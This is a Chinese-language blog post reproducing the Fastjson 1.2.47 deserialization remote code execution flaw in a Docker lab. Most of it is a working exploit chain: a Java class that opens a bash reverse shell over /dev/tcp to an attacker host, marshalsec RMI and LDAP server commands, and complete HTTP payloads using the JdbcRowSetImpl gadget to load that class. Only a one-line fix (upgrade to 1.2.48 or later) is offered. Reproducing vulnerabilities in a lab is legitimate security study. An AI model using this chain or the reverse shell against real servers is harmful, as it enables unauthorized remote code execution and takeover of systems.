一、漏洞介绍
0x01 fastjson介绍
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。它可以解析 JSON 格式的字符串,支持将 Java Bean序列化为JSON字符串,也可以从 JSON 字符串反序列化 Java Bean。
0x02 漏洞介绍
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type"指定反序列化的类型。并且Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者就可以构造恶意数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,如果指定类的指定方法中有可以被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
二、影响范围
Fastjson < =1.2.47
三、漏洞复现
0x01 攻击过程讲解
(1):攻击示意图
主机A(Ubuntu):存在fastjson反序列化漏洞的主机
主机C(kali2018):开启RMI/LDAP服务
主机B(kali2018):编译生成Exploit.class文件,也就是构造的恶意类(包含要执行的命令)
说明:整改攻击过程需要三台主机,本人在测试过程中,使用Ubuntu作为主机A,使用kali2018这台主机的不同端口来作为主机B和主机C。
(1):攻击流程
①:攻击者使用payload攻击主机A(该payload需要指定rmi/ldap地址)
②:主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
③:主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
④:主机A引发恶意系统命令执行
0x02环境搭建
使用docker搭建环境。(如果本地搭建docker下载镜像太慢,可以看文章后面有解决方法)
(1):切换到fastjson
cd vulhub/fastjson/1.2.47-rce/
(2):启动docker环境
docker-compose up -d
(3):访问目标端口
fastjson搭建成功。
0x03 漏洞复现
(1):判断目标站点使用fastjson(有回显)
{"name":"bob","age":"18"
使用POST请求发送数据包,并且不闭合{}。
(2):判断目标站点使用fastjson(无回显)
{
"zeo":{"
@type":"java.net.Inet4Address",
"val":"生成的dnslog"
}
}
本来可以通过dnslog的流量可以判断目标站点是不是使用了fastjson,但是这块不太明白为什么在dnslog上没有收到流量,好在返回包中发现了fastjson的版本。
(3):创建Exploit.java文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "exec 5<>/dev/tcp/xx.xx.xx.xx/port;cat <&5 | while read line; do= $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
注意:文件名称必须命名为Exploit.java,不然会报错,上面的IP和地址写的是接收反弹shell的IP和地址。
(4):编译Exploit.java文件为Exploit.java文件
javac Exploit.java
执行完成上述命令之后,会生成一个Exploit.class文件。
(5):启动web服务
python2 -m SimpleHTTPServer 8080
python3 -m http.server 8080
上面两种方式启动临时的HTTP服务,HTTP服务必须要在Exploit.class文件所在的目录启动,这样才可以下载Exploit.class文件。
(6):下载marshalsec(目的是后面开启LDAP服务)
下载链接:https://github.com/mbechler/marshalsec
使用marshalsec项目是为了启动一个 RMI 服务器,监听端口并制定加载远程类。
(7):配置mvn(kali下)
①:下载mvn
wget https://archive.apache.org/dist/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz
②:创建解压目录
mkdir /usr/local/maven
③:解压到指定目录
tar -zxvf apache-maven-3.5.4-bin.tar.gz -C /usr/local/maven/
④:配置环境变量
leafpad /etc/profile
#添加如下内容
MAVEN_HOME=/usr/local/maven/apache-maven-3.5.4
PATH=$MAVEN_HOME/bin:$PATH
export MAVEN_HOME PATH
⑤:使配置生效
source /etc/profile
⑥:查看mvn版本
mvn -v
(8):编译marshalsec
cd marshalsec-master
mvn clean package -DskipTests
(9):开启远程方法调用
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999
(10):Dnslog接收流量
POST / HTTP/1.1
Host: 192.168.223.175:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog/Exploit",
"autoCommit":true
}
}
查看dnslog平台上的流量,发现收到流量。
(11):反弹shell
使用环境:
目标主机(Ubuntu:192.168.223.175):存在fastjson漏洞
RMI主机(kali2018:192.168.223.160):使用该主机的两个端口,一个8080端口开启服务,使该主机可以访问到Exploit.class这个文件,一个9999端口,是marshalsec开启的RMI或者LDAP的端口
接收shell的主机(kali2019:192.168.223.138):该主机的IP及4444端口被写进了Exploit.java文件中并被编译成了Exploit.class文件,因此使用该主机监听4444端口,就可以接收到shell
-
RMI方式
①:监听主机监听4444端口
②:开启远程方法调用
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999
③:发送payload
POST / HTTP/1.1
Host: 192.168.223.175:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 265
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.223.160:9999/Exploit",
"autoCommit":true
}
}
④:成功getshell
-
LDAP方式
①:监听主机监听4444端口
②:开启远程方法调用
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.223.160:8080/#Exploit" 9999
③:发送payload
POST / HTTP/1.1
Host: 192.168.223.175:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 265
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.223.160:9999/Exploit",
"autoCommit":true
}
}
④:成功getshell
0x04 复现总结
Fastjson漏洞的复现比较复杂,加上反弹shell的主机一共涉及了三台主机,下面将该漏洞复现的过程简要说明一下:
(1):使用docker在一台Ubuntu上搭建fastjson漏洞环境
(2):在kali2018上创建Exploit.java文件并编译成Exploit.class文件
(3):在kali2018上开启一个临时服务,目的是可以远程加载生成的Exploit.class这个文件
(4):在kali2018上使用marshalsec开启远程方法调用
(5):在kali2019上进行监听(在Exploit.java中的反弹shell的地址是kali2019的地址)
(6):访问Ubuntu上的漏洞环境并构造数据包
(7):成功getshell
四、修复建议
0x01 升级到 1.2.48版本及以上
五、解决docker下载镜像失败问题
0x01 docker安装国内源
编辑/etc/docker/daemon.json这个文件,如果没有这个文件就创建一个文件。
vi /etc/docker/daemon.json
#添加如下网易镜像源
{
"registry-mirrors": ["http://hub-mirror.c.163.com"]
}
即使使用了国内源,有可能也无法快速的下载相关的镜像。因此可以使用阿里云加速器。
0x02 docker安装加速器
(1):注册或登录阿里云
https://cn.aliyun.com/
(2):进入控制台
(3):搜索镜像容器服务
(4):查看镜像加速器
(5):修改本地文件
vim /etc/docker/daemon.json
(6):重启docker加速器
systemctl daemon-reload
(7):重启docker服务
systemctl restart docker
参考链接:https://blog.csdn.net/god_zzZ/article/details/107122487
原文始发于微信公众号(想走安全的小白):Fastjson<=1.2.47版本远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论